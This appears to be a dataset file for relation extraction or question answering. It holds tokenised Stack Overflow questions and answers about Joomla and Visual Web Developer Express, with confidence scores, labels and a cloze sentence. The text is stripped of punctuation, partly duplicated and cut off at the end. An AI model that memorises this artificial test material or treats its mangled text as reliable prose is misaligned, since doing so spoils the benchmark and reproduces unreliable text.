12643725 create-a-jooma-article-programatically Comment : see my answer here stackoverflow.com questions 12643725 http : stackoverflow.com questions 12643725 create-a-jooma-article-programatically 13667613 13667613 5D 5B1 5D 1 : stackoverflow.com questions 12643725 http : stackoverflow.com questions 12643725 create-a-jooma-article-programatically 13667613 13667613 .. . Answer : Just an initial note : Joomla 1.6 1.7 are pretty similar . 1.5 not so much . I ll assume 1.6 1.7 as that s what I d recommend as a base for a new project . First up you ll need to be running with access to the Joomla framework . You could do this through a Component or a module or a cron that bootstraps it or whatever . I won t go though how to do that . But once you do that creating an article is reasonably simple . The actual list of fields will be a bit longer than that required fields etc but you should get sane error messages etc from the Joomla framework which illuminate that . So in summary : .. . .. . Load up the Joomla framework so you have access to the DB components models etc .. . Include the com content article class which will handle validation saving to the database etc for you .. . Create an article instance with the required fields filled in as appropriate .. . Call save .. . .. . Now that I think about it that ll probably work in 1.5.. . Comment : Doesn t work because com content article.php tries to include files using relative locations . You need to change the current working directory to the com content one before including it and then change back after you re done for the rest of the site Comment : In Joomla 1.5 can t speak for any other version the article.php file is underneath the base components directory not administrator Comment : @Benubird - can you explain further Im trying to use the code but getting an error because can t load relative paths Comment : Just a note that in 1.6+ you cannot justi mport into the content table you must also add to the assets table and this has to be done using the API", "Question : I am new to Joomla 1.6 . I have a problem while trying to install Freestyle Testimonials File Name - freestyle testimonials lite-1.6.0 1 .zip a component for testimonials for Joomla 1.6 as there is an error message appearing Component Install : Another component is already using directory : home faster public html webmaster components com fst . I cannot install the component . Then I tried installing another module for testimonial AutarTimonial File Name - mod autartimonial1.6.zip . It installed and can be viewed under module manager but I cannot put it into my desired location such as Testimonials menu in the Admin area . I am totally confused and asking for help . Thanks in advance . Subhagreen .. . Answer : First in order to fix the issue with Freestyle Testimonials you will need to delete the com fst folder on your server . It sounds like the first install failed but managed to make the folder which caused the second install attempt to fail . Next AutarTimonial is a module not a component . Modules are designed to be placed in positions other than the main content area so there will not be a menu item for a module . AutarTimonial does have a component that probably goes with the module you should install that it should have the menu item you need . You can also check out these other options : http : extensions.joomla.org extensions advanced-search-results 307991 Comment : I have deleted com fst folder and tried to install Freestyle Testimonials but again the same message appearing Component Install : Another component is already using directory : home faster public html webmaster administrator components com fst . Please help me in this regard . Comment : There are 2 instances of the folder one in JOOMLA components and one in JOOMLA adminstrator components . Make sure both are gone before trying the install . Comment : Thanks again for the opinion . I have deleted folder com fst from both of the joomla administrator components and also joomla-component directories . But still no work the same message is appearing Component Install : Another component is already using directory : home faster public html webmaster components com fst Please help me to come out from this situation .", "Question : I know JFile and write function in Joomla 1.6 but is there a similar function for Joomla 2.5 too I didn t get anything in Joomla docs . .. . Answer : Yes - it s there . You can see it in libraries joomla filesystem file.php", "Question : could you please explain to me what is the purpose of assets table in joomla I have script for import articles from .csv from .xls that just inserts new rows in content table with asset id column foreign key set to 0 . I haven t find any problems with articles that have assets id set to 0 . Anyway I d like to know if this could cause any problems or disable some functionality . .. . Answer : The assets table is part of the Joomla 1.6+ ACL system . It is designed to hold a record for each asset that defines the access rules . You can read more about Joomla s ACL http : docs.joomla.org Access Control List 2.5 Tutorial here and there s a section in the Joomla 2.5 Component Tutorial about adding ACL support http : docs.joomla.org Developing a Model-View-Controller Component 2.5 Adding ACL . If you re importing to Articles with a asset id of 0 then they don t actually have an entry in the assets table and they will inherit the default access until they are opened and saved . When they are saved an asset record will be created . If you want to have an asset record created correctly just load the com content model and use it to do your import for each article there isn t a bulk import method we looked for one when 1.6 1.7 and 2.5 came out ." ] }
[ "yes-answer-long", "yes-answer-short" ]
joomla
UNK_RELATION
visual-web-developer@asp.net@113
visual-web-developer -- visual-web-developer express is a freeware web development tool with the role of former @placeholder web matrix that allows developers to evaluate the web development and editing capabilities of the other visual-studio-2005 2008 2010 editions at no charge .
{ "confidence": [ 103.45440673828125, 92.93547058105469, 92.7017822265625, 86.5063247680664, 85.10813903808594, 83.20439147949219, 82.07618713378906, 81.78854370117188, 81.41975402832031, 81.41975402832031, 80.02774810791016, 79.87735748291016, 78.90230560302734, 78.73407745361328, 78.16120147705078, 76.87347412109375, 76.63356018066406, 76.63356018066406, 76.63356018066406, 76.29866027832031, 75.37882995605469, 75.04692840576172, 74.24885559082031, 73.91395568847656, 72.89102172851562, 71.8636474609375, 71.662109375, 71.56317138671875, 71.50503540039062, 71.50503540039062, 71.3990249633789, 70.74589538574219, 70.36947631835938, 70.36947631835938, 69.55879211425781, 69.3661117553711, 69.22895812988281, 69.12033081054688, 69.03326416015625, 68.71350860595703, 67.57284545898438, 67.51094818115234, 66.92591094970703, 66.44831085205078, 66.43464660644531, 66.43464660644531, 65.60616302490234, 65.46124267578125, 65.30416870117188, 63.563350677490234, 63.30599594116211, 62.919471740722656, 62.919471740722656, 62.31327819824219, 61.88243865966797, 61.60981750488281, 61.592811584472656, 61.592811584472656, 61.482688903808594, 59.62621307373047, 59.576904296875, 59.576904296875, 59.22698974609375, 59.16696548461914, 57.31479263305664, 57.29197692871094, 57.19219970703125, 57.08917999267578, 56.591522216796875, 56.307525634765625, 56.19061279296875, 56.19061279296875, 55.93731689453125, 55.66061782836914, 55.64739227294922, 55.618614196777344, 55.57499694824219, 55.1962890625, 53.940799713134766, 53.90440368652344, 53.74186706542969, 53.74186706542969, 53.58570098876953, 53.42955017089844, 53.16172790527344, 53.16172790527344, 52.69225311279297, 51.46893310546875, 51.383018493652344, 51.36431884765625, 51.03874588012695, 50.60442352294922, 50.47604751586914, 49.335575103759766, 49.315860748291016, 49.08362579345703, 48.90824508666992, 48.878456115722656, 48.78324890136719, 48.68042755126953 ], "content": [ "Visual Studio Web Developer 2010 Express .", "I m using Visual Web Developer 2010 Express .", "Visual Studio or Visual Web Developer", "This works with Visual Studio 2010 line of Express products Visual C and Visual Web Developer .", "Open your solution in Visual Web Developer Express .", "I see the same problem on Visual Studio 2012 Express and Visual Web Developer 2010 Express .", "Recently installed Microsoft Visual Web Developer 2010 .", "I am running visual-web-developer 2010 express and the project that I am trying to run is from the visual-studio-2008 i guess .", "Background-info : .. . .. . I m using Microsoft Visual Web Developer 2010 Express .", "I am using Visual Web Developer Express 2010 edition .", "I believe the site is asp.net and made in visual-web-developer 2010 .. . .. .", "Why since it wasn t showing in visual-web-developer", "I am trying to create a login function with SQL server 2008 express and Visual Web Developer 2008 Express .", "I am using Visual Web Developer 2010 Express .", "Also why is this tagged with Visual Web Developer and Web Services", "Is there any way to configure Visual Web Developer to expand the Expression like it was in Visual Studio 2008 with NAV 6.0", "I have a website solution in Visual Web Developer .", "But can t get it back to work with Visual Web Developer .", "In Visual Web Developer they don t show the References folder .", "Visual Web Developer 2010 - Document Outline http : i.stack.imgur.com BDRec.png", "I created a small web application using Visual Web Developer 2010 Express .", "debugging your project within Visual Web Developer Visual Studio etc it s likely running using the embedded web server .", "Are all of these namespaces importable and useable in Visual Web Developer", "I cannot uninstall Visual Web Developer 2010 Beta 2 .", "Software : Visual Web Developer 2008 Express Edition .. . .. . I am reading Programming ASP.NET 3.5 and it says to create a web application with a table .. . .. .", "I have an .net c mvc3 web service application developed wirh visual-web-developer 2010 .", "BUT if you use Visual Web Developer 2008 Express you can connect to a regular SQL Server Oracle ODBC etc .", "It works when I m debugging it in Visual Web Developer .", "I have a project in Visual Web Developer 2010 Express which uses a aspnetdb.mdf database in the App Data folder .", "Working in Visual Web Developer Express 2010 we don t have the References folder built-in .", "I m building a site with Visual Web Developer with C and HTML .", "Oh I might note that I have Web Developer Express Edition not the actual Visual Studio .", "I have a .net v4 web application built-in Visual Web Developer 2010 Express which functions as I expect and currently uses a logon screen .", "I want to build asp.net web application for commercial purpose.can MS visual-web-developer 2010 express can be used for commercial purpose", "But how do I debug an app already running in Debug mode inside Visual Studio Visual Web Developer 2010 Express inside the browser", "Do I NEED to download Visual Web Developer Pro", "How can I publish a website in Visual Web Development Express since Publish Website Utility is not available in this edition", "Is there any way how to get full access to remote SQL via MS Visual Web Developer 2010 Express", "I have installed MS Visual Web Developer 2010 which includes iisexpress .", "Visual Studio probably converted it from a Web Site to a Web Application .", "I don t see any other value other than Any CPU in the drop down list in Properties - Build - Configuration - Platform in Visual C 2010 Express or in Visual Web Developer 2010 Express .", "My suggestion if you want to get good at web development remove Design mode from Visual Studio .", "As far as I understand Visual Web Developer http : www.microsoft.com express vwd VWD is simply a free version of the Visual Studio http : www.microsoft.com visualstudio en-us default.mspx components necessary to develop web based solutions .", "The whole web application works perfectly on my Visual Web Developer 2010 Express development server I can create users and log them on and off successfully .", "I am using Visual Web Developer 2010 Express in my PC for building an MVC 3 application .", "And setting a break-point in javascript code in Visual Web Developer 2010 Express doesn t work .", "I ve written down exactly what I ve done : .. . .. . Visual web developer new project - New web application .. . .. . Double click Site.Master in solution-explorer .", "I am trying to publish my site from Visual Studios 2008 Web Developer SP1 .", "How I can insert button or textbox into a aspx html on Visual web Developer 2010 without changing the layout of the page", "I am a novice web developer .", "I m using visual-web-developer to create basic gui with one table DB .", "I couldn t find a Build Action in Properties in MS Visual Web Developer 2010 - so I had to skip that step .", "I work on visual-web-developer 2010 and by mistake one of the pc s @ school converted my project to sln or something .", "It looks like the Visual Web Developer team solved the problem by adding HTML5 support themselves : http : blogs.msdn.com webdevtools archive 2009 11 18 html-5-intellisense-and-validation-schema-for-visual-studio-2008-and-visual-web-developer.aspx .. . .. . You all probably know that new HTML 5 standard is coming .", "Given the situation the issue is most probably that the relevant modules for Web Development weren t installed when Visual Studio was installed .", "Any help is appreciated why building a project in Visual Web Developer would cause anything different .", "In Visual Web Developer Express 2010 selecting the build is simply a matter of clicking on the drop down to the right of the green Start Debugging button .", "@Belogix - I am using Visual Web Developer 2010 Express - I have only 2 properties - File Name Full Path", "I cannot for the life of me figure out how to force Visual Web Developer 2010 Express to use my Web.Release.config when I m publishing my web application .", "I am using visual-studio-2008 and c as programming language and chrome as the default web browser .", "on visual-web-developer the header layout menu designed page is changed but on browser it s normally no layout were changed for position .", "What I want to do is add an already typed java script file to my aspx form in Visual web developer .", "So I am using Microsoft Visual Web Developer 2010 Express because it s free and was recommended to me and I am using the Find and replace tool a lot to change variable names and so on .", "My question is it won t let me debug a script if I am running the code under the debug mode in Visual Studio Visual Web Developer .", "I have been using Visual Web Developer for quite some time now and never had this happen except with this specific website and page .", "After I installed the SSMS my Visual Web Developer is hanging when I Build my MVC 3 Web application .", "When I m debugging in Visual Web Developer the ViewBag is shown as being of type System.Web.Mvc.DynamicViewDataDictionary .", "As of Visual Web Developer 2008 SP1 you can now have Web Application Projects and indeed raw class-library projects in the solution - this is so you can build projects using ASP.NET MVC in it .", "Update .. . .. . The solution is for Visual Studio Express 2010 .", "I recently installed in order : .. . .. . Sql Server 2008 Express .. . .. . Visual Web Developer Express 2008 .. . .. . When I right-click on app data and try to add a db it returns : Connections to SQL Server files .mdf require SQL Server Express 2005 to function properly .", "I cannot find a Visual Web Developer 2010 Beta 2 download on the Microsoft website any longer to repair the Beta 2 installation .", "I just successfully uninstalled a failed Visual Web Developer 2010 Beta 2 I looked for nearly 2 weeks for the answer and found it myself .", "I am using Visual Studio 2012 Express edition when I Right click on aspx file the option Convert To Web Application is not available there .", "I m working on a page using canvas which is a HTML5 tag in Visual Web Developer Express Edition 2008 and the validator in the HTML editor is telling me it s an invalid tag .", "Environment Entity Framework 4 Visual Web Developer Express 2010 Database first SQL Server Express .. . .. . Question .. . .. . I want to fetch a row from the database update one field and save back to the database .", "I have a XML file in my Visual Web Developer project that looks like this : .. . .. . I want to delete complaint nodes that have and ID of 2 .", "A few months ago I imported the HTML5 CSS3 update into Visual Web Developer 2010 and after the update ended I could not open CSS files in the Visual Studio editor .", "Hello I m a newbie for ASP.NET .. . .. . I have a designed html page from another program I want to convert the html into a asp.net aspx web form using visual-web-developer .", "I then attempted to create a database in my AppData section of Visual web developer and it gave me this error : .. . .. . connections to sql-server files .mdf Require sql-server-2005 to function properly .", "Unrelated to the answer I recommend you look into using the Visual Studio 2013 Express for Web http : www.microsoft.com en-us download details.aspx id 40747 .", "I m trying to publish a web app from Visual Studio but I don t have IIS installed on my desktop .", "full web editor - generally refers to using a desktop editor such as Visual Studio Brackets or Atom .", "The most important questions Can I lock header menu or component on Visual Web Developer so I can editable body section", "On the list of modules go to Windows and Web Development .", "However when I try to do the same in MS Visual Web Developer 2010 Express I can set connection to this Db I can see already existing tables but I can t create or edit them .", "However I am getting this error message whenever I try and launch any application from within visual-web-developer express 2010 using a .net-4.0 target framework .", "The site ofr the url http : localhost myprojectname exists on both the local IIS Web server and the IIS Express web server .", "This question is similar but I think not the same .. . .. . msbuild ASPNETCOMPILER ASPNETRUNTIME startIndex error http : stackoverflow.com questions 13276125 msbuild-aspnetcompiler-aspnetruntime-startindex-error .. . .. . I have a Web Application which I am trying to publish using Visual Web Developer 2010 Express .", "I think the reasoning behind those db choices probably goes something like this : .. . .. . If you re using the Express Edition and you re not using Visual Web Developer you re probably building a desktop program .", "For Visual Studio 2010 you ll want to install the Web Standards Update for Visual Studio 2010 SP1 http : blogs.msdn.com b webdevtools archive 2011 06 15 web-standards-update-for-visual-studio-2010-sp1.aspx : .. . .. . It updates the HTML5 intellisense and validation to reflect the latest W3C specifications and fixes some bugs bugs in the current SP1 support for HTML5 .", "When I open a report from Dynamics NAV 2013 in Visual Web Developer 2010 every text box shows a field that looks like .. . .. . Where and are the french Guillemet characters .", "Whenever I go to edit the layout of the page in design mode after a few seconds after making a change an error pops up saying that visual-web-developer has encountered a problem and needs to close .", "The ASPNETDB.mdf database is practically in identical state to what you get given when loading the Microsoft MVC3 Razor template tutorial from Visual Web Developer Express 2010 .", "Go to the Web tab .. . 4 .", "The problem I m having is that I have created a database in SQL Server Management Studio but when I try to add a connection to it in Visual Web Developer 2008 Express I get the following error : .. . .. . You do not have permission to use this file .", "Building upon those awesome skills I obtained I started to build a project within Visual Web Developer this time creating an Empty Web Application and went along my happy way building my new site .", "I ve taken my page that originally gave me issue and recreated it outside of a Visual Web Developer project and instead as a stand alone page and the exact same code - copy cut paste - works perfect", "You should get Microsoft Web Developer Tools in the list .", "I have installed : .. . .. . Visual Web Developer 2010 Express .. . ASP.Net MVC 3 http : www.microsoft.com en-us download details.aspx id 1491 .. . .. . I went to File New Project ASP.Net MVC 3 Web Application .. . .. . I chose Empty template with ASPX view engine .", "I just installed visual-web-developer last night in order to work on a project that I moved over from Microsoft Visual Studio 2010 because my trial version expired any help or potential workarounds would be appreciated ." ] }
{ "confidence": [ 93.58032989501953, 88.85034942626953, 87.80935668945312, 84.68407440185547, 84.19945526123047, 82.54087829589844, 82.34781646728516, 81.38106536865234, 79.7850341796875, 77.43689727783203, 76.57098388671875, 76.50830841064453, 76.0258560180664, 75.56610870361328, 75.56282806396484, 74.3175277709961, 74.04881286621094, 74.02012634277344, 73.5652084350586, 73.33614349365234 ], "content": [ "Question : I am trying to write a web application using ASP.NET MVC . I prefer C as the programming language . Which IDE is better to use for this purpose Visual Studio or Visual Web Developer What are the features of the IDEs What are the benefits of using one over the other Thanks in advance . .. . Answer : As far as I understand Visual Web Developer http : www.microsoft.com express vwd VWD is simply a free version of the Visual Studio http : www.microsoft.com visualstudio en-us default.mspx components necessary to develop web based solutions . Here is a list of features missing from VWD http : blogs.msdn.com mikhailarkhipov archive 2006 06 26 647516.aspx that you get in a Professional edition of Visual Studio 2008 VS2008 . In short VWD Express 2005 .. . .. . 1 . is Not Extensibile with other add-ons or third party tools .. . .. . 2 . Only supports Web site projects 2005 . You cannot add a Class Library project or a Web Controls Library project to the solution . .. . UPDATED - VWD 2008 SP1 also allows Web Application and Class Library Projects in the solution . .. . 1 . Lacks the ability to combine Source Code Control .. . .. . 2 . has no Accessibility checker .. . .. . 3 . Lacks ability for automatic generation of resources for localization .. . .. . 4 . Cannot attach debugger to a process .. . .. . 5 . has no Native code debugging .. . .. . The obvious advantage of VWD over VS2008 is that it is free and if you can work smart with it given the missing features it may be the more pragmatic option for you . If those are features that you can t live without VS2008 may be a wise investment - you also get all of the features missing from other Express products Visual Basic 2008 Visual C 2008 etc . Take a look at MSDN s comparison chart for Visual Studio 2005 http : msdn.microsoft.com en-us vstudio aa700921.aspx . I can t find 2008 s but would suspect it to be very similar . Comment : All of point 2 is now wrong . As of Visual Web Developer 2008 SP1 you can now have Web Application Projects and indeed raw class-library projects in the solution - this is so you can build projects using ASP.NET MVC in it . Comment : I ve also previously successfully created Web Controls library projects in Visual C Express 2005 and used the resultant dll in VWD - you need to declare the libaray in the web.config of the website to get VWD to recognise it . Comment : Thanks Zhaph will update . The points are for VWD Express 2005", "Question : null .. . Answer : How can I publish a website in Visual Web Development Express since Publish Website Utility is not available in this edition Or is more advisable to convert my website into project or open my project in a Visual Studio I tried to copy aspx files and web.config into my IIS but I got error such : .. . .. . It is an error to use a section registered as allowDefinition MachineToApplication beyond application level . Comment : Can you get VS Community Edition it is free and you can publish with it.. . Comment : I tried installing visual-studio but i need a newer version of windows . Comment : What version of VS do you have Comment : Visual Studio Web Developer 2010 Express . Comment : I suppose you can just copy and paste your aspx s web.config and your dll s to your server by hand", "Question : I m working on a page using canvas which is a HTML5 tag in Visual Web Developer Express Edition 2008 and the validator in the HTML editor is telling me it s an invalid tag . That s because it s set to validate against XHTML 1.0 Transitional . I d prefer for it to not do that and tell me what s valid or invalid based on the HTML5 doctype but I can t find anywhere in the preferences that suggests this would be possible . Is there a way to tell Visual Studio to validate against HTML5 or add a new spec reference manually I d prefer not to have to go in and add tags manually which appears to be the only option at the moment . Comment : With SP1 Html5 support is there blogs.msdn.com b webdevtools archive 2011 01 27 http : blogs.msdn.com b webdevtools archive 2011 01 27 html5-amp-css3-in-visual-studio-2010-sp1.aspx .. . Answer : It looks like the Visual Web Developer team solved the problem by adding HTML5 support themselves : http : blogs.msdn.com webdevtools archive 2009 11 18 html-5-intellisense-and-validation-schema-for-visual-studio-2008-and-visual-web-developer.aspx .. . .. . You all probably know that new HTML 5 standard is coming . We made a new intellisense schema that you can add to VS 2008 or VWD Express 2008 and get intellisense and validation on HTML 5 elements . Comment : For VS 2010 see stackoverflow.com questions 1682180 http : stackoverflow.com questions 1682180 will-visual-studio-2010-support-html-5 2923562 2923562 Comment : Rahul also posted an update : visualstudiogallery.msdn.microsoft.com http : visualstudiogallery.msdn.microsoft.com d771cbc8-d60a-40b0-a1d8-f19fc393127d Comment : for VS2005 I had to update the paths and change the registry key from Schema 23 to Schema 21 : HKEY LOCAL MACHINE SOFTWARE Wow6432Node Microsoft VisualStudio 8.0 Packages 1B 437D20-F8FE-11D2-A6AE-00104BCC7269 Schemas Schema 21 Comment : can u please explain what is the procedure i have to follow for html5 to be worked in visual-studio-2005 Comment : this link worked great for me with Visual Studio 2008 64bit", "Question : I find it odd that in Visual C 2008 Express edition when you use the database explorer your options are : .. . .. . 1 . Microsoft Access .. . 2 . SQL Server Compact 3.5 and .. . 3 . SQL Server Database File . BUT if you use Visual Web Developer 2008 Express you can connect to a regular SQL Server Oracle ODBC etc . For people developing command-line or other C apps that need to talk to a SQL Server database do you really need to build your LINQ Data Access code with one IDE Visual Web Developer and your program in another Visual C It s not a hard workaround but it seems weird . If Microsoft wanted to force you to upgrade to Visual Studio to connect to SQL Server why would they include that feature in one of their free IDEs but not the other I feel like I might be missing something like how to do it all in Visual C . Comment : This is a terrific question . The whole SQL Server mess is very frustrating from even choosing which version to use to actually developing with it to deploying it . This question addresses one of the major hassles along the way . Comment : How is this closed as not constructive It has tons of upvotes and views and lots of people seem to find it helpful . SO is closing questions way too easily nowadays . .. . Answer : Workaround : .. . .. . 1 . Open your solution in Visual Web Developer Express . It will not load some of the projects in the solution but it is ok . .. . 2 . Make a new connection in Database Explorer to the required database from SQL Server . 3 . Add a new class-library project . 4 . Add a LINQ to SQL Classes item and link it to your database . 5 . Close the solution . 6 . Open the solution in Visual C Express . Now you have a LINQ to SQL classes library that is linked to your SQL Server database in Visual C Express . Update .. . .. . The solution is for Visual Studio Express 2010 . Comment : This works with Visual Studio 2010 line of Express products Visual C and Visual Web Developer . Thanks Comment : I ve been pulling my hair out for two days trying to figure this out . Thanks I owe you the drink of your choice if we ever meet Comment : Fantastic - I ve just tried this for creating an Entity Data Model and it worked equally well . Thanks for solving this one", "Question : I have an .net c mvc3 web service application developed wirh visual-web-developer 2010 . I am calling the web-services from an android movile application . I want to test the web-services from the eclipse emulator . When i debug the webservice application everything works fine by calling the services from the web browser but when i call then from the android application using the emulator y get HTTP 1.1 400 Bad Request . the curious thing is that if i publish the web service application on my local IIS 7 everything wirks fine although i can not debug the service . when i debig the service using the visual-web-developer a web page appear with a adress like that : .. . .. . http : localhost : 1627 myservice.asmx myMethod .. . .. . On my android application i call the service with a url like that : .. . .. . http : 10.0.2.2 : 1627 myservice.asmx myMethod .. . .. . but then i get the HTTP 1.1 400 Bad Request .. . .. . I really would appreciate any help . thanks . .. . Answer : For Visual Studio 2010 I always used inetd which is a port forwarding tool . Since Visual Studio 2012 I have this problem as well . The problem is that only localhost calls are allowed in the development server even proxy calls don t work unless you change the request headers . I have made some modifications to an existing simple proxy server which I found on GitHub . It changes the IP address in the request url to localhost . Download the code here http : opensource.oxyva.nl simple-development-proxy . .. . .. . I found a better solution . When you have IIS Express installed on your computer create a new application in IIS of the directory of your project and give it an alias . Note the right application-pool is set and you will be able to browse your site via http : localhost YourProject When you cannot connect from other computers it s probably a firewall problem .", "Question : I m working on a page using canvas which is a HTML5 tag in Visual Web Developer Express Edition 2008 and the validator in the HTML editor is telling me it s an invalid tag . That s because it s set to validate against XHTML 1.0 Transitional . I d prefer for it to not do that and tell me what s valid or invalid based on the HTML5 doctype but I can t find anywhere in the preferences that suggests this would be possible . Is there a way to tell Visual Studio to validate against HTML5 or add a new spec reference manually I d prefer not to have to go in and add tags manually which appears to be the only option at the moment . Comment : With SP1 Html5 support is there blogs.msdn.com b webdevtools archive 2011 01 27 http : blogs.msdn.com b webdevtools archive 2011 01 27 html5-amp-css3-in-visual-studio-2010-sp1.aspx .. . Answer : For Visual Studio 2010 you ll want to install the Web Standards Update for Visual Studio 2010 SP1 http : blogs.msdn.com b webdevtools archive 2011 06 15 web-standards-update-for-visual-studio-2010-sp1.aspx : .. . .. . It updates the HTML5 intellisense and validation to reflect the latest W3C specifications and fixes some bugs bugs in the current SP1 support for HTML5 . Also JavaScript intellisense it updated to reflect many of the new browser capabilities such as Geolocation and DOM storage . Finally this update adds comprehensive CSS3 intellisense and validation based on the latest specifications from W3C . For Visual Studio 2008 Microsoft has provided an updated version of the HTML 5 validation schema and intellisense in the Visual Studio Gallery . HTML 5 Intellisense http : visualstudiogallery.msdn.microsoft.com en-us d771cbc8-d60a-40b0-a1d8-f19fc393127d .. . .. . The updated schema was posted by Mikhail Arkhipov the same Microsoft employee who wrote the blog post linked in Rahul s answer http : stackoverflow.com questions 1084194 is-it-possible-to-add-html5-validation-to-visual-studio 1848536 1848536 .", "Question : I ve got a SQL database registrated on HelioHost.org and when i try to access this Db via NetBeans it s fine . I can edit tables make new one etc . However when I try to do the same in MS Visual Web Developer 2010 Express I can set connection to this Db I can see already existing tables but I can t create or edit them . Is there any way how to get full access to remote SQL via MS Visual Web Developer 2010 Express .. . Answer : It is because of feature restriction . Please refer to this article below : http : weblogs.asp.net nannettethacker creating-a-database-connection-to-a-remote-sql-server-database-within-visual-web-developer .. . .. . Although you may create and alter a SQL Server .mdf database within your project Visual Web Developer doesn t support opening a table definition or adding a new table from your SQL Server 2000 database . But it does allow Show Table Data . It allows you to see the names of your stored-procedures but not to edit or view their content just the properties . It is very limited but you may wish to have it just for those purposes . You might want to use free SQL Server Management Studio Express to do that .", "Question : I am trying to write a web application using ASP.NET MVC . I prefer C as the programming language . Which IDE is better to use for this purpose Visual Studio or Visual Web Developer What are the features of the IDEs What are the benefits of using one over the other Thanks in advance . .. . Answer : I think you also lack the ability to publish a site without visual-studio you can certainly run a website but it won t build the binaries for release with web developer you have to publish the source to iis . Comment : Again wrong as far as VWD 2008 SP1 is concerned - this has the ability to create Web Applications and thus a compiled binary . This was added to support ASP.NET MVC development on the platform . Comment : Again . . Regardless that is fantastic the last time I used an VWD was 05 and obviously you weren t able to compile . Good to know they added it to 08 .", "Question : I cannot uninstall Visual Web Developer 2010 Beta 2 . When I was trying to uninstall the first time the power went off to my machine and screwed up the Beta 2 installation . I cannot find a Visual Web Developer 2010 Beta 2 download on the Microsoft website any longer to repair the Beta 2 installation . How can I get VWD 2010 Beta 2 off of my system so I can install the new release Comment : This might do better on Super User . Comment : The question is listed on SuperUser.com as well . Comment : I am having a nice little excercise at Microsoft trying to get this solved if anyone wants to follow it . social.msdn.microsoft.com Forums en-US Vsexpressinstall thread http : social.msdn.microsoft.com Forums en-US Vsexpressinstall thread a2f4d9c3-1a78-4ac1-b316-04c5727feb46 Comment : Here is another person having the same issue : connect.microsoft.com VisualStudio feedback details 550848 https : connect.microsoft.com VisualStudio feedback details 550848 express-2010-beta-uninstall-express-2010-install .. . Answer : Well after weeks of waiting Microsoft finally came through via Scott Hanselman and Aaron Stebner . Below is a link-to Beta 2 versions of the software that would not uninstall correctly for me : .. . .. . Download Visual Studio 2010 Express Editions http : blogs.msdn.com danielfe archive 2009 10 21 download-visual-studio-2010-express-editions.aspx .. . .. . You can reinstall Microsoft Express Beta 2 software via the link above and then properly uninstall the software to use the new Microsoft Express Editions . It s sad that I had to answer my own question here but that is the case .", "Question : I ve written down exactly what I ve done : .. . .. . Visual web developer new project - New web application .. . .. . Double click Site.Master in solution-explorer . Click design .. . .. . Select the text : My ASP.NET Application .. . .. . Format font - change color - not showing change . Opening font again shows the old font color . Why .. . .. . Click on h1.style1 at bottom .. . .. . Format font - change color this time it works fine .. . .. . Click to the right of My ASP.NET Application div.loginDisplay is selected . Why Why not the whole header .. . .. . Change background-color - My ASP.NET Application disappears . Why - My main question . .. . .. . Start debugging My ASP.NET Application is shown . Why since it wasn t showing in visual-web-developer .. . Answer : My suggestion if you want to get good at web development remove Design mode from Visual Studio . Go to : .. . .. . Tools Options HTML Designer .. . .. . Then untick Enable HTML designer .. . .. . .. . .. . Try and get used to only reading the code and not relying on Visual Studio adding the code for you badly . Comment : Thanks interesting idea . But I think I ll keep the design mode in order to learn from it change there and see the code produced .", "Question : I find it odd that in Visual C 2008 Express edition when you use the database explorer your options are : .. . .. . 1 . Microsoft Access .. . 2 . SQL Server Compact 3.5 and .. . 3 . SQL Server Database File . BUT if you use Visual Web Developer 2008 Express you can connect to a regular SQL Server Oracle ODBC etc . For people developing command-line or other C apps that need to talk to a SQL Server database do you really need to build your LINQ Data Access code with one IDE Visual Web Developer and your program in another Visual C It s not a hard workaround but it seems weird . If Microsoft wanted to force you to upgrade to Visual Studio to connect to SQL Server why would they include that feature in one of their free IDEs but not the other I feel like I might be missing something like how to do it all in Visual C . Comment : This is a terrific question . The whole SQL Server mess is very frustrating from even choosing which version to use to actually developing with it to deploying it . This question addresses one of the major hassles along the way . Comment : How is this closed as not constructive It has tons of upvotes and views and lots of people seem to find it helpful . SO is closing questions way too easily nowadays . .. . Answer : If you are using this to get a LINQ to SQL which I do and wanted for my Visual Developer 1 get the free Visual WEB Developer use that to connect to SQL Server instance create your LINQ interface then copy the generated files into your Vis-Dev project I don t use VD because it sounds funny . Include only the .dbml files . The Vis-Dev environment will take a second or two to recognize the supporting files . It is a little extra step but for sure better than doing it by hand or giving up on it altogether or EVEN WORSE paying for it . Mooo ha ha haha .", "Question : I am using Visual Web Developer 2010 Express in my PC for building an MVC 3 application . it s working fine till I installed Sql Server 2008 Management Studio yesterday . After I installed the SSMS my Visual Web Developer is hanging when I Build my MVC 3 Web application . And when i open the project there is a message shown in the OutPut window . I am clueless what happend in my PC . Comment : Do a repair on VS Comment : Thank you ver much it s solved . .. . Answer : you need to repair your vs 2010 . and restart the PC . please check this link you can see the step by step example .. . .. . http : msdn.microsoft.com en-us library aa983433 v vs.90 .aspx .. . .. . hope it will help .", "Question : I recently installed in order : .. . .. . Sql Server 2008 Express .. . .. . Visual Web Developer Express 2008 .. . .. . When I right-click on app data and try to add a db it returns : Connections to SQL Server files .mdf require SQL Server Express 2005 to function properly . Please verify the installation of the component or download from the URL : http : go.microsoft.com fwlink LinkId 49251 .. . .. . I just recently reinstalled windows-vista due to registry problems from installing visual-web-developer before installing sql-server . This time the reverse order seemed to work fine until I noticed this problem . I can copy an MDF file into the app-code directory but this doesn t seem to solve my problems as clicking the DB returns the same error . From what I ve gathered from some googling this error occurs from several different install paths . It probably has nothing to do with 2005 installs I had not installed any visual-studio or sql-server 2005s . Its possible they just never upgraded the error message . Does anyone know how to get around this I would not mind entering in some connection strings if that will fix the issue . .. . Answer : Is it a 64bit Vista or rather 64bit SQL Express installation http : support.microsoft.com default.aspx scid kb en-us 957944 sd rss spid 12913 http : support.microsoft.com default.aspx scid kb en-us 957944 sd rss spid 12913 .. . .. . There is a known problem with having a 64bit SQL Express engine for Visual Studio 2008 integration and it easily happens without your knowledge if you install the SQL Express separately using the web bootstrapper - atleast on my system it installed the 64bit version without telling me at all . The link above basically tells you to uninstall all SQL Express instances and then install the x86 SQL Express of your choice and it will start working correctly . Comment : Thanks I can t believe I didn t find that.. . I am not even going to try to fix it at this point . I just reinstalled Vista after experiencing registry problems from a similar issue nightmare . Everything is working the way I need it now so not going to take any chances . Thanks again Comment : Great I stumped over this last night getting quite annoyed figuring it out.. .", "Question : I recently installed in order : .. . .. . Sql Server 2008 Express .. . .. . Visual Web Developer Express 2008 .. . .. . When I right-click on app data and try to add a db it returns : Connections to SQL Server files .mdf require SQL Server Express 2005 to function properly . Please verify the installation of the component or download from the URL : http : go.microsoft.com fwlink LinkId 49251 .. . .. . I just recently reinstalled windows-vista due to registry problems from installing visual-web-developer before installing sql-server . This time the reverse order seemed to work fine until I 